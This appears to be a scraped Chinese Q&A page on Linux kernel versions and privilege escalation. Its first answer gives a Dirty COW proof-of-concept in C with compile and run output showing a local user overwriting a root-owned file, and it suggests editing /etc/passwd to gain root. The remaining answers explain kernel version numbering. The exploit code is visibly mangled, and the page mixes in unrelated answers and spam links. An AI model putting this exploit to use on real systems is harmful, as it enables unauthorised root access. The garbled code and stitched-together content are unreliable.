导航:首页 > 版本升级 > linux提权内核版本

linux提权内核版本

发布时间:2022-01-21 01:49:24

linux内核通杀提权漏洞怎么验证

Linux内核在处理内存写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞。漏洞危害:低权限用户可以利用该漏洞修改只读内存,进而执行任意代码获取 root 权限。影响范围:该漏洞影响所有 Linux Kernel >= 2.6.22 的版本。2.6.22 是 2007 年发布的版本,也就是说这个漏洞几乎影响 2007 以后的所有版本。漏洞测试:读取 /proc/version 来获取 LinuxKernel 版本:
➜ ~ cat /proc/version
Linuxversion 4.4.0-42-generic(buildd@lgw01-13) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.2) )#62-Ubuntu SMP Fri Oct 7 23:11:45 UTC 20164.4.0 版本的Kernel,看样子是受影响的,github 上给出了如下的 POC:
#include
#include
#include
#include
#include
void *map;
int f;
structstat st;
char*name;
void*madviseThread(void *arg) {
char *str;
str = (char *)arg;
int i, c = 0;
for (i = 0; i 100000000; i++) {
c += madvise(map, 100, MADV_DONTNEED);
}
printf("madvise %d\n", c);
}
void*procselfmemThread(void *arg) {
char *str;
str = (char *)arg;
int f = open("/proc/self/mem",O_RDWR);
int i, c = 0;
for (i = 0; i 100000000; i++) {
lseek(f, map, SEEK_SET);
c += write(f, str, strlen(str));
}
printf("procselfmem %d\n", c);
}
intmain(int argc, char *argv[]) {
if (argc 3)
return 1;
pthread_t pth1, pth2;
f = open(argv[1], O_RDONLY);
fstat(f, &st);
name = argv[1];
map = mmap(NULL, st.st_size, PROT_READ,MAP_PRIVATE, f, 0);
printf("mmap %x\n", map);
pthread_create(&pth1, NULL,madviseThread, argv[1]);
pthread_create(&pth2, NULL,procselfmemThread, argv[2]);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return 0;
}这个 POC 可以利用该漏洞修改任意文件内容,看下面的测试:
➜ /tmp gcc a.c -lpthread
a.c: Infunction ‘procselfmemThread’:
a.c:28:5:warning: implicit declaration of function ‘lseek’[-Wimplicit-function-declaration]
lseek(f, map, SEEK_SET);
a.c:29:10:warning: implicit declaration of function ‘write’[-Wimplicit-function-declaration]
c += write(f, str, strlen(str));
a.c: Infunction ‘main’:
a.c:39:3:warning: implicit declaration of function ‘fstat’[-Wimplicit-function-declaration]
fstat(f, &st);调用 gcc 编译这个 payload,报了几个 warning,但还是编译成功了。
➜ /tmp su root -c 'echo 0000 > test'
Password:
➜ /tmp ls -al test
-rw-r--r--1 root root 5 Oct 16 23:52 test使用 root 权限创建一个其他用户只读的 test 文件,权限为 644,内容为 0000。
➜ /tmp id
uid=1000(Monster) gid=1000(monster) groups=1000(monster)
➜ /tmp ./a.out test 1111
mmap61222000
madvise 0
procselfmem400000000使用当前用户调用编译出的 a.out 程序把 test 文件的内容修改为 1111,经过漫长的等待以后程序终于执行完成。
➜ /tmp cat test
1111可以看到结果,test 文件的内容已经被成功修改。
这样的话,只要修改 /etc/passwd 把当前用户的 uid 改成 0 就可以作为 root 登录了。
修复方案:
更新最新 Linux Kernel 源码,并重新编译。 各大发行版也已经更新 Kernel,也可直接升级最新版本。

② linux操作系统的内核版本有什么特点

楼主:
Linux 是一个开放自由的操作系统内核,具有一些鲜明特点如下:
(1) Linux 是一个一体化内核;
注:“一体化内核”是也称“宏内核”,是相对于“微内核”而言的。几乎所有
的嵌入式和实时系统都采用微内核,如 VxWorks、uC/OS-II、PSOS 等。
(2) 可移植性强。尽管 Linus 最初只为在 X86 PC 上实现一个“类 UNIX”,后来随
着加入者的努力,Linux 目前已经成为支持硬件平台最广泛的操作系统;
注:目前已经在 X86、IA64、ARM、MIPS、AVR32、M68K、S390、Blackfin、M32R
等众多架构处理器上运行。
(3) 是一个可裁剪操作系统内核。Linux 极具伸缩性,内核可以任意裁剪,可以大至
几十或者上百兆,可以小至几百 K,运行的设备从超级计算机、大型服务器到
小型嵌入式系统、掌上移动设备或者嵌入式模块,都可以运行;
(4) 模块化。Linux 内核采用模块化设计,很多功能模块都可以编译为模块,可以在
内核运行中动态加载/卸载而无需重启系统;

③ 如何通过linux内核漏洞提权

配置信任连接 root下 输入 生成 公私钥 ssh-keygen -t rsa然后将公钥到服务端改名 或者新建为 authorized_keys 在/root/.ssh下

④ linux 内核版本问题

第一行:lsb_release -a 是一个显示当前 Linux 系统版本核心信息的命令。 -a 这个参数会所有的相关信息。
第二行:从这里开始是命令输出的信息。LSB Version: :core-3.1-ia32:core-3.1-noarch:graphics-3.1-ia32:graphics-3.1-noarch 指的是 core版本 3.1 ia32 / noarch 以及 graphic 3.1 ia32/noarch 的 LSB 规范适用于当前操作系统。这样看来,你安装的应该是 i386 即 ia32 版本。 noarch 指没有硬件平台要求,包括 ia32/amd64 等等。
第三行:Distributor ID: CentOS 这个指发行者 ID,这里就是 CentOS
第四行:Description: CentOS release 5.5 (Final),这个是当前发行版的描述,这里是 CentOS 定义的, CentOS 5.5 最终版
第五行:Release: 5.5,当前系统的发行号码,可以理解为版本号
第六行:Codename: Final,这是发行者定义的项目名称,这里是 Final。
所以从上面的信息,可以看出当前运行的系统是 CentOS 5.5 的最终版,而且是 ia32 即 32位版本的。

⑤ linux现在最新内核版本是多少

linux内核版本的分类Linux内核版本有两种:稳定版和开发版 ,Linux内核版本号由3组数字组成:第一个组数字.第二组数字.第三组数字

第一个组数字:目前发布的内核主版本。

第二个组数字:偶数表示稳定版本;奇数表示开发中版本。

第三个组数字:错误修补的次数。

例1: 2.6.18-128.ELsmp ,

第一个组数字: 2 , 主版本号

第二个组数字: 6 , 次版本号,表示稳定版本(因为有偶数)

第三个组数字 18 , 修订版本号 ,

表示修改的次数,头两个数字合在一齐可以描述内核系列。如稳定版的2.6.0,它是2.6版内核系列。128: 表示这个当前版本的第5次微调patch, 而ELsmp指出了当前内核是为ELsmp特别调校的 EL : Enterprise Linux ; smp : 表示支持多处理器 , 表示该内核版本支持多处理器。
linux发行版:

就Linux的本质来说,它只是操作系统的核心,负责控制硬件、管理文件系统、程序进程等,并不给用户提供各种工具和应用软件。所谓工欲善其事,被必先利其器,一套在优秀的操作系统核心,若没有强大的应用软件可以使用,如C/C++编译器、C/C++库、系统管理工具、网络工具、办公软件、多媒体软件、绘图软件等,也无法发挥它强大的功能,用户也无法仅仅使用这个系统核心进行工作,因此人们以Linux核心为中心,再集成搭配各种各样的系统管理软件或应用工具软件组成一套完整的操作系统,如此的组合便称为Linux发行版。
常见linux发行版如下

⑥ linux的内核版本表示是怎样的

1:什么是LINUX内核:Linux是一个一体化内核(monolithic kernel)系统。“内核”指的是一个提供硬件抽象层、磁盘及文件系统控制、多任务等功能的系统软件。一个内核不是一套完整的操作系统。一套基于Linux内核的完整操作系统叫作Linux操作系统,或是GNU/Linux。设备驱动程序可以完全访问硬件。Linux内的设备驱动程序可以方便地以模块化(molarize)的形式设置,并在系统运行期间可直接装载或卸载
2:内核版本表示:Linux内核版本号由3组数字组成:第一个组数字.第二组数字.第三组数字
第一个组数字:目前发布的内核主版本。
第二个组数字:偶数表示稳定版本;奇数表示开发中版本。
第三个组数字:错误修补的次数

⑦ linux kernel 内核版本修改

2.6.18-238.el5 内核版本类的信息是不能修改的
机器主机名倒是可以修改,使用hostname xxxx,修改为你自己电脑的名字,重启后失效
要永久生效的话,修改/etc/sysconfig/network
[root@linux-node2 ~]# cat /etc/sysconfig/network
NETWORKING=yes
NETWORKING_IPV6=yes
HOSTNAME=linux-node2

⑧ 什么是linux的内核版本

Linux内核版本:Linux的内核是Linux操作系统的核心组件,它会定期的更新.每次更新都有一个版专本号,这个版本号就是属Linux的内核把本,比如现在最新的是3.2.X了~
Linux的发行版本,不同组织发行的,他们的发行的Linux操作系统包括内核和外围的GNU的应用程序组成,一般来说是一个比较完整的操作系统,每个组织发行的版本是不太一样的(内核的修改、打包的应用软件、不同的包管理系统等等),这些不同的版本成为Linux发行版本。
常见发行版本:fedora,archlinux,ubuntu,Centos,RHEL,Debian等。

阅读全文

与linux提权内核版本相关的资料

热点内容
同志电影《失恋学弟》 浏览:162
电脑文件被加密了 浏览:112
关于国共的电影 浏览:152
台湾恐怖丧尸前十名 浏览:136
空间之灵泉变美变媚变漂亮 浏览:146
猫和老鼠剧场版 浏览:990
蛇爱情的电影 浏览:875
泰剧好看电影 浏览:903
老挝电影 浏览:468
看日本性动漫的网站 浏览:590
你那天晚上看了什么电影英文翻译 浏览:236
东方福利的电影票怎么用 浏览:739
泰国爱情片 浏览:339
日本顶级爱情理论片 浏览:925
十部顶级韩剧电影 浏览:240
1979年越南战争电影 浏览:510
含糖1v1sc荔枝 浏览:415
免费看韩国电影的网站 浏览:953
word怎么设置水印 浏览:414
qq提醒cf 浏览:883

友情链接